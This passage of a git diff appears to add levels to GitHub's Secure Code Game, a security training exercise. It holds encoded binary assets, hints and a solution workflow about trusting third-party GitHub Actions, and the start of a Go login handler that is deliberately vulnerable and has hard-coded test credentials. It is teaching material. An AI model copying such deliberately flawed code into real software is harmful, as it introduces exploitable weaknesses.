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 Y2NdDexiC`A;Q#;t07*qoM6N<$f_Tq)uK)l5 literal 0 HcmV?d00001 diff --git a/Season-1/Level-3/assets/tax_form.pdf b/Season-1/Level-3/assets/tax_form.pdf new file mode 100644 index 0000000000000000000000000000000000000000..8bfa3c226fe997ff7804e85ead8ae9e2c46d385c GIT binary patch literal 9233 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 b? + + + +--- + +Get help: Email us at securitylab-social@github.com • [Review the GitHub status page](https://www.githubstatus.com/) + +© 2024 GitHub • [Code of Conduct](https://www.contributor-covenant.org/version/2/1/code_of_conduct/code_of_conduct.md) • [MIT License](https://gh.io/mit) + + \ No newline at end of file diff --git a/Season-2/Level-1/code.yml b/Season-2/Level-1/code.yml new file mode 100644 index 0000000..d6c7003 --- /dev/null +++ b/Season-2/Level-1/code.yml @@ -0,0 +1,11 @@ +# Welcome to Secure Code Game Season-2/Level-1! + +# Follow the instructions below to get started: + +# Due to the nature of GitHub Actions, please find this level's vulnerable code inside: +# .github/workflows/jarvis-code.yml + +# That is by navigating to: +# .github/ +# > workflows/ +# > jarvis-code.yml \ No newline at end of file diff --git a/Season-2/Level-1/hack.yml b/Season-2/Level-1/hack.yml new file mode 100644 index 0000000..6c83704 --- /dev/null +++ b/Season-2/Level-1/hack.yml @@ -0,0 +1,7 @@ +# Due to the nature of GitHub Actions, please find this level's hack file inside: +# .github/workflows/jarvis-hack.yml + +# That is by navigating to: +# .github/ +# > workflows/ +# > jarvis-hack.yml \ No newline at end of file diff --git a/Season-2/Level-1/hint-1.txt b/Season-2/Level-1/hint-1.txt new file mode 100644 index 0000000..51d616a --- /dev/null +++ b/Season-2/Level-1/hint-1.txt @@ -0,0 +1,4 @@ +Have a look inside .github/workflows/jarvis-code.yml +A GitHub Action is being used, can we trust it? + +Try again, without reading hint-2.txt ;-) \ No newline at end of file diff --git a/Season-2/Level-1/hint-2.txt b/Season-2/Level-1/hint-2.txt new file mode 100644 index 0000000..5a2edfb --- /dev/null +++ b/Season-2/Level-1/hint-2.txt @@ -0,0 +1,5 @@ +What impact do new dependancies have on the attack surface of a project? + +Do we really need a third-party GitHub Action to check GitHub's availability status? + +What if we could use https://www.githubstatus.com/api/v2/status.json without using any dependencies? \ No newline at end of file diff --git a/Season-2/Level-1/solution.yml b/Season-2/Level-1/solution.yml new file mode 100644 index 0000000..8be4a24 --- /dev/null +++ b/Season-2/Level-1/solution.yml @@ -0,0 +1,43 @@ +# Contribute new levels to the game in 3 simple steps! +# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md + +name: CODE - Jarvis Gone Wrong + +on: + push: + paths: + - ".github/workflows/jarvis-code.yml" + +jobs: + jarvis: + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - name: Check GitHub Status + run: | + STATUS=$(curl -s https://www.githubstatus.com/api/v2/status.json | jq -r '.status.description') + echo "GitHub Status: $STATUS" + + +# Solution Explanation + +# There is no doubt that using a GitHub Action from the marketplace can add value to our CI/CD pipeline. +# As with every expansion, our attack surface grows. In this case, we are both trusting a GitHub Action +# from a questionable third-party and we are also creating a new dependency for our project. + +# Here are some steps to guide our decision-making process, before using a new GitHub Action: +# 1. For simple tasks, avoid external GitHub Actions because the risk might outweigh the value. +# 2. Use GitHub Actions from Verified Creators because they follow a strict security review process. +# 3. Use the latest version of a GitHub Action because it might contain security fixes. +# 4. Think about GitHub Actions like dependencies: they need to be maintained and updated. +# 5. Think about disabling or limiting GitHub Actions for your organization(s) in Settings. +# 6. Have a PR process with multiple reviewers to avoid adding a malicious GitHub Action. + +# Learn more: +# New tool to secure your GitHub Actions: https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/ +# Short video on using third-party GitHub Actions like a PRO: https://www.youtube.com/shorts/eVbXtKylZpo +# Short video on avoiding injections from malicious GitHub Actions: https://www.youtube.com/shorts/fVxTV5rZxhc +# Short video on GitHub Actions' secrets privileges: https://www.youtube.com/shorts/1tD7km5jK70 +# Keeping your GitHub Actions and workflows secure: https://www.youtube.com/watch?v=Jn0kfAuJI2o +# Finding and customizing a GitHub Action: https://docs.github.com/en/actions/learn-github-actions/finding-and-customizing-actions \ No newline at end of file diff --git a/Season-2/Level-2/code.go b/Season-2/Level-2/code.go new file mode 100644 index 0000000..17533c2 --- /dev/null +++ b/Season-2/Level-2/code.go @@ -0,0 +1,91 @@ +// Welcome to Secure Code Game Season-2/Level-2! + +// Follow the instructions below to get started: + +// 1. code_test.go is passing but the code is vulnerable +// 2. Review the code. Can you spot the bugs(s)? +// 3. Fix the code.go, but ensure that code_test.go passes +// 4. Run hack_test.go and if passing then CONGRATS! +// 5. If stuck then read the hint +// 6. Compare your solution with solution/solution.go + +package main + +import ( + "encoding/json" + "log" + "net/http" + "regexp" +) + +var reqBody struct { + Email string `json:"email"` + Password string `json:"password"` +} + +func isValidEmail(email string) bool { + // The provided regular expression pattern for email validation by OWASP + // https://owasp.org/www-community/OWASP_Validation_Regex_Repository + emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$` + match, err := regexp.MatchString(emailPattern, email) + if err != nil { + return false + } + return match +} + +func loginHandler(w http.ResponseWriter, r *http.Request) { + + // Test users + var testFakeMockUsers = map[string]string{ + "user1@example.com": "password12345", + 